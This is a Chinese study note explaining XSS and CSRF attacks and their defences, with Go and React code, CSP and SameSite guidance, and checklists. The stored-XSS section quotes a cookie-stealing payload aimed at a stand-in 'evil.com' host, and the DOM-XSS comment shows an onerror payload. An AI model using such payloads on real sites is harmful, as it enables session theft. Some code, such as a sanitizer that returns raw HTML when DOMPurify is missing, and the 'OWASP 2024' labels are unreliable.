Files
cs-note/hhs/DEV/XSS与CSRF攻击/XSS与CSRF攻击.md
T
2026-05-24 11:42:38 +08:00

837 lines
28 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
---
tags: ["XSS", "CSRF", "Web Security", "OWASP", "CSP", "Security Header", "Content-Security-Policy", "Cross-Site Request Forgery"]
create time: 2026-05-18 10:30
---
# XSS 与 CSRF 攻击
## 概述
本文档系统梳理 Web 应用中最常见的两种客户端侧安全威胁——**跨站脚本攻击(XSS)**与**跨站请求伪造(CSRF)**。从攻击原理、分类场景到防御策略,结合 Go 后端和 React/TypeScript 前端的完整代码示例,帮助你在设计阶段就「把安全做进去」而非事后补漏。
> [!question] 思考题
> XSS 让你失去的是**用户的数据控制权**,CSRF 让你失去的是**用户的身份冒用权**。一个攻击注入恶意脚本,另一个则是伪装成合法请求。看似都与"前端"有关——它们根本区别在哪里?带着这个问题开始阅读。
---
## 一、XSS(跨站脚本攻击)
### 1.1 什么是 XSS?
XSS(Cross-Site Scripting)的本质是:**攻击者在目标网站中注入恶意 JavaScript 代码,当其他用户浏览该页面时,代码在其浏览器上下文中执行**。由于 JavaScript 在原始页面的同源策略下运行,它可以直接读取 Cookie、DOM、甚至以受害者身份发起 API 请求。
```mermaid
graph LR
A["攻击者注入<br/>恶意脚本"] --> B["服务端存储<br/>或反射回页面"]
B --> C["受害者浏览器<br/>解析并执行"]
C --> D["Cookie 被盗<br/>会话劫持 / 行为篡改"]
style A fill:#ffebee
style D fill:#b71c1c,color:#fff
```
> [!warning] 为什么叫 XSS 而不是 XS S?
> 为了避免与 Cascading Style Sheets(CSS)混淆,业界统一简写为 **XSS**(Cross-Site Scripting)。
### 1.2 XSS 三大类型
| 类型 | 注入方式 | 持久性 | 危险等级 |
|------|---------|--------|---------|
| **Stored(存储型)** | 提交到数据库(评论、个人资料),所有访问者受害 | ★★★★★ 持久 | 🔴 极高 |
| **Reflected(反射型)** | URL 参数嵌入返回页面,需诱导点击 | ★★★☆ 单次 | 🟠 高 |
| **DOM-based(基于 DOM)** | 纯前端 JS 将不可信数据写入 DOM | ★★★☆ 无服务器痕迹 | 🟡 中 |
#### 1.2.1 Stored XSS — 最致命
攻击者将恶意脚本存入数据库,每个访问该页面的用户都会中招。经典案例:留言板注入 `<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>`。
```go
// ❌ 危险的做法 — 存储了原始内容,但渲染时用 text/template 或 Response.Write 直出
func SaveComment(db *sql.DB, userID int, content string) error {
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
// ⚠️ 注意:存数据的代码本身已是安全的(参数化查询防 SQL 注入)
// 危险在于后续渲染时没有做 HTML 转义 → Stored XSS
// ✅ 正确做法 — 存储不变,渲染时通过 html/template 自动编码输出
func SaveCommentSafely(db *sql.DB, userID int, content string) error {
// 纯文本场景:直接存原始内容
// 渲染用 {{.Content}} (html/template 自动转义 < > & " ')
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
```
#### 1.2.2 Reflected XSS — 钓鱼利器
攻击者构造恶意链接,诱骗受害者点击。恶意脚本随 URL 参数被服务端读取后反射回 HTML 响应中。
```mermaid
graph LR
normal["正常链接: /search?q=hello"] --> |"安全参数"| browser["浏览器安全渲染"]
evil["恶意链接: q=inject_script()"] --> |"服务端原样返回"| exec["浏览器执行脚本 → XSS"]
style normal fill:#e8f5e9
style browser fill:#e8f5e9
style evil fill:#ffebee
style exec fill:#b71c1c,color:#fff
```
```typescript
// ❌ React 中 dangerouslySetInnerHTML 使用不当可导致 Reflect XSS
function SearchResults({ query }: { query: string }) {
return (
<div dangerouslySetInnerHTML={{ __html: `结果包含: ${query}` }} />
);
}
// ✅ 正确做法 — 让 React 自动处理转义
function SearchResultsSafe({ query }: { query: string }) {
return <div>结果包含: {query}</div>; // React 自动 escape HTML entities
}
```
> [!note] React 的安全模型
> React 默认对所有 JSX 表达式进行 HTML entity 转义(`&lt;`、`&gt;`、`&amp;`)。只有在显式使用 `dangerouslySetInnerHTML` 时才绕过防护——这是反射型 XSS 最常见的泄漏点。
#### 1.2.3 DOM-based XSS — 纯前端陷阱
攻击不涉及服务端,而是前端 JavaScript 将不可信数据写入 DOM。因为服务端日志看不到恶意 payload,这种类型更难排查。
```typescript
// ❌ DOM-based XSS — 将 hash 直接写入页面
function renderFromHash() {
const hash = window.location.hash.slice(1); // #<img src=x onerror=alert(1)>
document.getElementById("output").innerHTML = decodeURIComponent(hash);
}
// ✅ 正确做法 — 使用 textContent 而非 innerHTML
function renderFromHashSafe() {
const hash = window.location.hash.slice(1);
document.getElementById("output").textContent = decodeURIComponent(hash);
}
```
| DOM 写入方法 | 安全性 | 说明 |
|-------------|--------|------|
| `element.textContent` | ✅ 安全 | 纯文本,不会解析 HTML |
| `element.innerText` | ✅ 安全 | 同 textContent |
| `element.innerHTML` | ⚠️ 危险 | 解析 HTML 标签,可能执行脚本 |
| `element.outerHTML` | ⚠️ 危险 | 同上 |
| `element.insertAdjacentHTML()` | ⚠️ 危险 | 同上 |
| `document.write()` | ⚠️ 危险 | 直接写入文档流 |
### 1.3 CSP(Content Security Policy)深度解析
CSP 是目前防御 XSS 最有效的手段之一。它通过 HTTP 响应头告诉浏览器:哪些脚本来源是可信的,哪些操作是被禁止的。
```
HTTP Response Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
```
```mermaid
graph TD
A[浏览器加载页面] --> B{遇到 script 标签}
B -->|"src='self'"| C["✅ 允许执行"]
B -->|"src='https://evil.com/hack.js'"| D["❌ 被 CSP 拦截"]
B -->|"inline script no nonce"| E["❌ 被 CSP 拦截"]
B -->|"src=https://cdn.trusted.com"| F["✅ 白名单匹配,允许"]
D --> G["console 报错 + 阻止执行"]
E --> G
style C fill:#e8f5e9
style D fill:#ffebee,color:#333
style E fill:#ffebee,color:#333
style F fill:#e8f5e9
style G fill:#fff3e0
```
#### CSP 关键指令速查
| 指令 | 作用 | 推荐值 |
|------|------|--------|
| `default-src` | 兜底策略(所有资源类型) | `'self'` |
| `script-src` | 允许的脚本来源 | `'self'` + 必要 CDN |
| `style-src` | 允许的样式来源 | `'self' 'unsafe-inline'`(部分框架需要 inline style) |
| `img-src` | 允许的图片来源 | `'self' data: cdn.xxx` |
| `font-src` | 字体来源 | `'self' fonts.gstatic.com` |
| `connect-src` | AJAX/WebSocket/fetch 目标 | `'self' api.example.com` |
| `frame-ancestors` | 允许嵌入本页面的来源 | `'none'`(防 clickjacking) |
| `object-src` | `<object>`, `<embed>` | `'none'`(已废弃但建议声明) |
| `base-uri` | `<base>` 标签的 allowed origin | `'self'` |
| `form-action` | `<form>` 可提交的 target | `'self'` |
#### Nonce-based CSP 方案
对于必须使用 inline script 的场景(如 SSR 框架、内联事件处理器),Nonce 是标准方案:
```go
package security
import (
"crypto/rand"
"encoding/base64"
"net/http"
)
// CSPMiddleware 自动生成随机 nonce 并注入 CSP header
func CSPMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 每次请求生成 32 字节随机 nonce
b := make([]byte, 32)
rand.Read(b)
nonce := base64.StdEncoding.EncodeToString(b)
w.Header().Set("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self' 'nonce-"+nonce+"' 'strict-dynamic'; "+
"style-src 'self' 'nonce-"+nonce+"'; "+
"object-src 'none'; "+
"base-uri 'self'; "+
"frame-ancestors 'none'",
)
// 将 nonce 传递给模板(具体实现依赖你的模板引擎)
r.Header.Set("X-CSP-Nonce", nonce)
next.ServeHTTP(w, r)
})
}
```
```html
<!-- 模板中使用 nonce -->
<script nonce="RANDOM_NONCE_VALUE_HERE">
// 此 inline script 被 CSP 放行
app.init();
</script>
```
> [!tip] strict-dynamic 的威力
> 使用 `strict-dynamic` 后,被 nonce 放行的脚本所动态加载的脚本也会被信任。这意味着你不再需要在 `script-src` 中添加大量 `https://` 域名——通过入口脚本的信任链传播即可。
### 1.4 输入验证与输出编码
虽然 CSP 是第一道防线,但纵深防御原则要求我们同时在多个层面防护。
```go
package validation
import (
"net/url"
"regexp"
"strings"
)
// SanitizeHTML 移除所有 HTML 标签(适用于纯文本输入场景)
func SanitizeHTML(input string) string {
return regexp.MustCompile(`<[^>]*>`).ReplaceAllString(input, "")
}
// ValidateURL 校验 URL 格式,防止 protocol-relative XSS
func ValidateURL(rawURL string) bool {
parsed, err := url.Parse(rawURL)
if err != nil {
return false
}
// 只允许 http 和 https 协议,拒绝 javascript: 和 data: 伪协议
validSchemes := map[string]bool{"http": true, "https": true}
return validSchemes[parsed.Scheme] && len(parsed.Host) > 0
}
// TruncateHTML 在 HTML 内部截断字符串(防 buffer overflow 型 XSS)
func TruncateHTML(htmlStr string, maxLen int) string {
cleaned := SanitizeHTML(htmlStr)
if len(cleaned) <= maxLen {
return cleaned
}
// 避免在标签中间截断
for i := maxLen; i > maxLen-50 && i >= 0; i-- {
if cleaned[i] == ' ' || cleaned[i] == '>' {
return cleaned[:i]
}
}
return cleaned[:maxLen]
}
```
> [!example] 为什么输入验证不能替代输出编码?
> - 输入验证假设你能穷举所有合法输入——但实际中字段经常复用(昵称既能输文字也能输 URL)
> - 输出编码确保**无论数据来源何处**,在渲染时都被正确转义
> - 最佳实践:**验证输入格式 + 编码输出内容**两层齐发
### 1.5 前端防护清单
```typescript
// ✅ React 安全编程守则
// 1. 永远不要直接使用 dangerouslySetInnerHTML
// 如果必须有富文本需求,使用成熟的 sanitizer 库
import DOMPurify from 'dompurify';
function RichText({ content }: { content: string }) {
const cleanHTML = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'target'],
});
return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}
// 2. 对外部重定向做白名单校验
const TRUSTED_DOMAINS = ['example.com', 'app.example.com'];
function SafeRedirect(url: string) {
try {
const parsed = new URL(url, window.location.origin);
if (!TRUSTED_DOMAINS.includes(parsed.hostname)) {
throw new Error('Untrusted redirect destination');
}
window.location.href = url;
} catch {
// 忽略无效 URL
}
}
// 3. 避免 eval() 和 Function() 构造函数
// 两者都能执行任意代码,且绕过 CSP nonce 机制
```
---
## 二、CSRF(跨站请求伪造)
### 2.1 什么是 CSRF?
CSRF(Cross-Site Request Forgery)的本质是:**攻击者诱导已登录的用户浏览器,向目标网站发送未经用户授权的请求**。关键在于——浏览器会自动携带该域下的 Cookie,服务器无法区分请求是用户自愿发出的还是被伪造的。
> [!quote] 核心洞察
> CSRF 利用的不是技术漏洞,而是浏览器的一个"善意特性":**Cookie 会自动附带在同源请求中**。攻击者不需要窃取 Cookie,只需要控制请求的*目的地*和*内容*。
```mermaid
sequenceDiagram
participant U as 用户浏览器(已登录 bank.com)
participant A as 攻击站点
participant B as 银行 server (bank.com)
Note over U,B: 场景:用户在银行网站保持登录状态
A->>U: 1. 用户访问恶意页面<br/>伪造 GET /transfer?to=hacker&amt=10000
Note over U: 浏览器自动带上 bank.com 的 Cookie
U->>B: 2. GET /transfer?to=hacker&amt=10000<br/>Cookie: sessionid=abc123...
B->>B: 3. 校验 Session ✓ → 执行转账
B->>U: 4. 返回成功
Note over A,U: 用户毫无感知,钱已被转走
```
> [!question] 既然浏览器有同源策略(Same-Origin Policy),为什么攻击者能跨站发请求?
> 答案是:**并非所有 HTML 元素都受 SOP 保护**。`<img>`、`<iframe>`、`<form method="POST">` 都可以跨域发起请求——它们属于"非 read-only 资源",浏览器出于历史原因一直允许这些行为以确保网页兼容性。
### 2.2 CSRF vs XSS:容易被混淆的区别
```mermaid
graph LR
subgraph XSS["XSS — 跨站脚本"]
direction TB
A1["注入: 恶意脚本"]
A2["目标: 用户浏览器"]
A3["窃取: Cookie / 数据 / DOM"]
A4["本质: 代码执行"]
A5["防御: CSP + 输出编码"]
end
subgraph CSRF["CSRF — 跨站请求伪造"]
direction TB
B1["注入: 伪造的请求"]
B2["目标: 服务端"]
B3["利用: 已认证用户的 Cookie"]
B4["本质: 身份冒用"]
B5["防御: SameSite + CSRF Token"]
end
style XSS fill:#fff3e0
style CSRF fill:#e3f2fd
style A5 fill:#c8e6c9
style B5 fill:#c8e6c9
```
| 维度 | XSS | CSRF |
|------|-----|------|
| **攻击媒介** | JavaScript 代码 | HTTP 请求(表单/图片等) |
| **攻击目标** | 用户浏览器 | 目标网站的服务器 |
| **是否需要 Cookie** | 是(用于窃取或冒充) | 是(浏览器自动携带) |
| **破坏力** | 全面接管用户会话 | 仅限登录态下的操作 |
| **是否依赖登录** | 否(只要页面渲染就行) | 是(用户必须先登录目标站) |
| **防御重心** | 内容层(CSP、编码) | 请求层(Token、Header 校验) |
### 2.3 CSRF 防御三大利器
#### 第一层:SameSite Cookie 属性(首选方案)
```go
// Go 设置 SameSite Cookie
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionValue,
Path: "/",
HttpOnly: true, // 防 XSS 读取
Secure: true, // 仅 HTTPS
SameSite: http.SameSiteStrictMode, // 👈 关键:防止跨站发送 Cookie
})
```
| SameSite 值 | 行为 | 适用场景 |
|-------------|------|---------|
| `Strict` | 所有跨站请求不发送 Cookie | 大多数单页应用 |
| `Lax` | GET 跨站可发送(点击链接),POST 跨站不发送 | 兼顾 UX 与安全(Chrome 默认) |
| `None` | 任何情况都发送 | 必须与 `Secure=true` 配合 |
> [!tip] Chrome 的演进
> 自 Chrome 80 (2020) 起,SameSite 默认值为 `Lax`。这是一个重大变化——以前很多没有 CSRF 防护的应用反而获得了隐性保护。
#### 第二层:CSRF Token(传统但可靠)
核心思路:在每个表单和 AJAX 请求中携带一个服务端生成的随机 token,服务端校验合法性。
```mermaid
sequenceDiagram
participant FE as 前端应用
participant SRV as 后端服务器
participant Attacker as 攻击者
Note over FE,SRV: 正常流程
FE->>SRV: GET /page (页面加载)
SRV->>SRV: 生成 csrf_token = random(256bit)
SRV->>FE: 返回 HTML + hidden input 字段(name="_csrf", value="token_xxx")
FE->>FE: Token 存入内存(或 cookie)
FE->>SRV: POST /transfer _csrf=token_xxx
SRV->>SRV: 比对 token ✓
SRV->>FE: 200 OK
Note over Attacker: 攻击者页面试图伪造请求<br/>但没有 csrf_token
Attacker->>SRV: POST /transfer (无 token)
SRV->>SRV: 比对失败 ✗
SRV->>Attacker: 403 Forbidden
```
```go
package csrf
import (
"crypto/rand"
"crypto/subtle"
"encoding/base64"
"net/http"
"sync"
)
type CSRFHandler struct {
tokens sync.Map // userSessionID -> token
}
func NewCSRFHandler() *CSRFHandler {
return &CSRFHandler{}
}
func generateToken() string {
b := make([]byte, 32)
rand.Read(b)
return base64.StdEncoding.EncodeToString(b)
}
// GetCSRFToken 为当前会话获取/创建 CSRF token
func (h *CSRFHandler) GetCSRFToken(sessionID string) string {
token, ok := h.tokens.Load(sessionID)
if !ok {
token = generateToken()
h.tokens.Store(sessionID, token)
}
return token.(string)
}
// Validate 校验请求中的 CSRF token
func (h *CSRFHandler) Validate(r *http.Request, sessionID string) bool {
var requestToken string
// 优先从 body/form 读取
requestToken = r.FormValue("_csrf")
if requestToken == "" {
// 其次从自定义 Header 读取(AJAX/XHR 常用)
requestToken = r.Header.Get("X-CSRF-Token")
}
if requestToken == "" {
return false
}
storedToken, ok := h.tokens.Load(sessionID)
if !ok {
return false
}
return hmacCompare(requestToken, storedToken.(string))
}
// constant-time comparison, 防 timing attack
func hmacCompare(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
```
```typescript
// 前端:React 中自动注入 CSRF Token
const CSRFInterceptor = (service: AxiosInstance) => {
// 从隐藏字段或 Cookie 读取 token
function getCSRFToken(): string {
const meta = document.querySelector<HTMLInputElement>('meta[name="csrf-token"]');
if (meta?.content) return meta.content;
// fallback: 从 cookie 读取
const match = document.cookie.match(/_csrf=([^;]+)/);
return match?.[1] ?? '';
}
service.interceptors.request.use((config) => {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method?.toUpperCase() ?? '')) {
config.headers['X-CSRF-Token'] = getCSRFToken();
}
return config;
});
};
// 在 axios 实例初始化时使用
CSRFInterceptor(axiosInstance);
```
#### 第三层:Custom Header + 双重检查(现代 SPA 方案)
对于前后端完全分离的架构,推荐同时使用 SameSite Cookie 和 X-CSRF-Token Header:
```go
// Middleware: 对非安全方法做双重校验
func CSRFProtection(h *CSRFHandler) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// GET/HEAD/OPTIONS 不需要校验(幂等操作)
if isSafeMethod(r.Method) {
next.ServeHTTP(w, r)
return
}
sessionID, _ := getSessionID(r) // 从 Cookie 中提取
if !h.Validate(r, sessionID) {
http.Error(w, "CSRF token invalid", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
}
func isSafeMethod(method string) bool {
return method == "GET" || method == "HEAD" || method == "OPTIONS"
}
```
> [!tip] 为什么 Custom Header 能防 CSRF?
> 浏览器的 SOP 对 headers 也有保护:跨站的 JavaScript **无法设置自定义 Header**(只有 `Accept`、`Content-Type` 等简单头部可以)。所以当攻击者用 `<form>` 或 `<img>` 伪造请求时,`X-CSRF-Token` 头部不会被携带——而浏览器也不会自动添加它。这就是同源策略在 header 层面的天然保护。
### 2.4 特殊场景:JSON API 与 CSRF
JSON API 本身天然免疫部分 CSRF 攻击,因为浏览器的 SOP 会阻止跨域的 `application/json` 跨站读取响应。但仍需注意——虽然**无法读取响应**,但**请求仍然会被发出**。对于修改类操作(POST/PUT/DELETE),仍建议加防护。
> [!question] 思考题
> 跨站 `<img>` 标签可以发起 GET 请求但看不到响应——那 PUT 或 POST 呢?`<form method="POST">` 和 XHR 有什么区别?
```typescript
// SPA 典型认证模式对比
// ❌ Cookie 认证 — 浏览器自动携带 Cookie → 需要 CSRF Token
// 即使 Content-Type 是 application/json,攻击者用 <form> 仍可发送
const res = await fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'hacker', amount: 10000 }),
}); // 带 Cookie → 服务端需校验 CSRF Token
// ✅ Bearer Token 认证 — 必须手动设置 Authorization Header
// 跨站页面无法设置自定义 Header(SOP 保护)→ CSRF 天然免疫
fetch('/api/transfer', {
method: 'POST',
headers: {
'Authorization': 'Bearer eyJhbGc...', // ← 跨站 JS 无法设置此 header
'Content-Type': 'application/json',
},
body: JSON.stringify({ to: 'hacker', amount: 10000 }),
});
```
| Content-Type | 能否跨站提交 | 是否天然防 CSRF | 备注 |
|-------------|------------|---------------|------|
| `application/json` | ❌ 浏览器禁止跨站设置此 header | ✅ (但预检请求 OPTIONS 可暴露信息) | SPA 推荐方案之一 |
| `Authorization: Bearer` | ❌ 自定义 Header 受 SOP 限制 | ✅ | **最佳实践** |
| `application/x-www-form-urlencoded` | ✅ HTML form 默认 | ❌ 必须 CSRF Token | 服务端渲染页面 |
| `multipart/form-data` | ✅ HTML form 支持 | ❌ 必须 CSRF Token | 文件上传场景 |
---
## 三、综合防御策略
### 3.1 纵深防御架构图
```mermaid
graph TB
subgraph Layer1["第 1 层:请求入口"]
A1["HTTPS 强制"]
A2["Rate Limiting"]
A3["CORS 策略"]
end
subgraph Layer2["第 2 层:身份与请求完整性"]
B1["HttpOnly + Secure Cookie"]
B2["SameSite=Strict/Lax"]
B3["CSRF Token 校验"]
end
subgraph Layer3["第 3 层:内容与渲染"]
C1["输入验证 / Sanitization"]
C2["输出 HTML 编码"]
C3["CSP Header"]
end
subgraph Layer4["第 4 层:运行时"]
D1["子资源完整性 (SRI)"]
D2["X-Frame-Options"]
D3["X-Content-Type-Options: nosniff"]
end
Layer1 --> Layer2
Layer2 --> Layer3
Layer3 --> Layer4
style A1 fill:#e3f2fd
style B2 fill:#fff3e0
style C3 fill:#e8f5e9
style D2 fill:#fce4ec
```
### 3.2 关键 HTTP 安全响应头
```
# CSP — 防止 XSS 脚本注入
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'; object-src 'none'; frame-ancestors 'none'
# X-Frame-Options — 防止 Clickjacking(嵌套 iframe)
X-Frame-Options: DENY
# 或更灵活的替代(与 CSP frame-ancestors 二选一即可)
Content-Security-Policy: frame-ancestors 'none'
# X-Content-Type-Options — 禁止 MIME type sniffing
X-Content-Type-Options: nosniff
# X-XSS-Protection — 老旧浏览器的 XSS filter(已废弃,但无害)
X-XSS-Protection: 0 # 设为 0 表示禁用(由 CSP 接管更好)
# Referrer-Policy — 控制 Referer 头泄露程度
Referrer-Policy: strict-origin-when-cross-origin
# Permissions-Policy — 限制浏览器功能访问
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
```
```go
// Go 一次性设置所有安全头
func SecurityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Frame-Options", "DENY")
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")
w.Header().Set("Permissions-Policy", "camera=(), microphone=(), geolocation=()")
next.ServeHTTP(w, r)
})
}
```
### 3.3 XSS 与 CSRF 的组合攻击
现实中,XSS 和 CSRF 常组合出现——如果有 XSS 漏洞,CSRF 防御基本形同虚设:
```mermaid
sequenceDiagram
participant Attacker as 攻击者
participant Victim as 受害者(管理员)
participant Server as 目标服务器
Note over Attacker,Server: 组合攻击链: XSS → Cookie 窃取 → CSRF 全权控制
Attacker->>Victim: 1. 注入含恶意脚本的可编辑字段
Victim->>Server: 2. 浏览页面 → XSS 脚本执行
alt 读取敏感数据
Victim->>Victim: Cookie / localStorage 被窃取
Victim->>Attacker: 3a. 数据发送至攻击者服务器
else 发起 CSRF 请求
Victim->>Server: 3b. 以管理员身份发送任意请求(已在同源上下文,CSRF Token 无效)
Server->>Victim: 4. 操作被执行 — 完全控制
end
Note right of Server: 结论: 只要有 XSS,<br />CSRF 防御就会被 bypass
```
---
## 四、端到端实战
### 4.1 完整安全中间件栈(Go)
```go
package middleware
import (
"github.com/gin-gonic/gin"
)
// SecurityStack 将所有安全中间件打包为一个函数列表
// 推荐用法:router.Use(SecurityHeaders(), CSPMiddleware(), CSRFProtection(handler))
func SecurityStack() []gin.HandlerFunc {
return []gin.HandlerFunc{
SecurityHeaders(),
CSPMiddleware(),
}
}
// 实际注册示例
// func SetupRouter() *gin.Engine {
// r := gin.Default()
// csrfHandler := csrf.NewCSRFHandler()
// for _, m := range SecurityStack() {
// r.Use(m)
// }
// r.Use(CSRFProtection(csrfHandler)) // 对写操作加 CSRF 校验
// // ...路由定义
// }
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Frame-Options", "DENY")
c.Header("X-Content-Type-Options", "nosniff")
c.Header("Referrer-Policy", "strict-origin-when-cross-origin")
c.Header("Permissions-Policy", "camera=(), microphone=()")
// HSTS — 强制浏览器后续请求都用 HTTPS
c.Header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
c.Next()
}
}
```
### 4.2 前端安全模块(React + TypeScript)
```typescript
// frontend/src/security.ts
export class SecurityManager {
private static instance: SecurityManager;
static getInstance(): SecurityManager {
if (!SecurityManager.instance) {
SecurityManager.instance = new SecurityManager();
}
return SecurityManager.instance;
}
/** 获取 CSRF Token */
getCSRFToken(): string {
const meta = document.querySelector<HTMLMetaElement>('meta[name="csrf-token"]');
return meta?.content ?? '';
}
/** 安全地渲染富文本 */
sanitizeRichText(html: string): string {
// 使用 dompurify(需在项目中安装)
const DOMPurify = window.DOMPurify as any; // SSR 场景可通过全局注入
if (DOMPurify) {
return DOMPurify.sanitize(html, {
ADD_ATTR: ['aria-label'],
ALLOW_DATA_ATTR: false,
});
}
return html; // fallback: sanitizer 不可用时直接返回原文
}
/** 清理 URL 重定向目标 */
validateRedirectUrl(url: string): boolean {
try {
const parsed = new URL(url);
const trusted = new Set(['yourdomain.com', 'app.yourdomain.com']);
return trusted.has(parsed.hostname);
} catch {
return false;
}
}
}
```
---
## 五、OWASP Top 10 位置与总结
在 OWASP Top 10 中,这两种攻击的定位如下:
| 攻击类型 | OWASP Top 10 2024 分类 | 说明 |
|---------|----------------------|------|
| **XSS** | **A03:2024 — Injection** | DOM-based XSS 虽不经过服务端,但仍属于注入范畴 |
| **CSRF** | 未独立列项 | CSRF 模式归入 **A01:2024 — Broken Access Control** |
> [!note] 为什么 CSRF 不再单列?
> OWASP 认为 CSRF 本质上是访问控制失效的一种表现——服务器未能正确验证请求是否为用户自愿发出。现代浏览器默认提供的 SameSite Cookie 机制已经大幅降低了 CSRF 的威胁面。
### 5.1 一句话总结
> **XSS 的核心是「不信任何输入」** —— 在输出编码时做一次,CSP 再兜底一次;**CSRF 的核心是「不信任何请求」** —— SameSite 打底,CSRF Token 二次确认。
### 5.2 快速对照表
```mermaid
quadrantChart
title "XSS vs CSRF 对比矩阵"
x-axis "易防护" --> "难防护"
y-axis "高频率" --> "低频率"
"XSS(存储型)": [0.3, 0.8]
"XSS(反射型)": [0.5, 0.9]
"CSRF(传统表单)": [0.2, 0.95]
"DOM-based XSS": [0.7, 0.85]
"CSRF(JSON API)": [0.15, 0.7]
```
---
## 安全最佳实践清单
> [!checklist] XSS 防御 Checklist
> - [ ] 部署 **CSP header**(至少 `default-src 'self'`,逐步收紧)
> - [ ] 后端输出 HTML 时做 **实体编码**(`<` → `&lt;`,`>` → `&gt;`,`"` → `&quot;`)
> - [ ] 前端避免 `dangerouslySetInnerHTML` / `innerHTML` / `eval()`
> - [ ] 富文本场景使用 **sanitizer 库**(DOMPurify / bleach)
> - [ ] 所有用户上传的内容视为 **潜在 payload**
> - [ ] 设置 `document.domain` 谨慎(会降低同源保护)
> [!checklist] CSRF 防御 Checklist
> - [ ] 所有 Cookie 设置 **SameSite=Strict 或 Lax**
> - [ ] 敏感操作(POST/PUT/DELETE)校验 **CSRF Token**
> - [ ] CSRF Token 使用 **密码学安全的随机数**(crypto/rand)
> - [ ] Token 比较使用 **constant-time** 算法
> - [ ] Session Cookie 设置 **HttpOnly + Secure**
> - [ ] 使用 **stateless token**(存入 JWT claims 而非内存)以适配分布式部署
> - [ ] **双 Submit Cookie** 方案可作为轻量替代(token 同时存在 Cookie 和 Form Field 中)
---
## 关联笔记
- [[OAuth2-and-MFA]]
- [[hhs/DEV/Security/Basics/RSA-and-ECC]]
- [[hhs/DEV/Security/JWT-Deep-Dive]]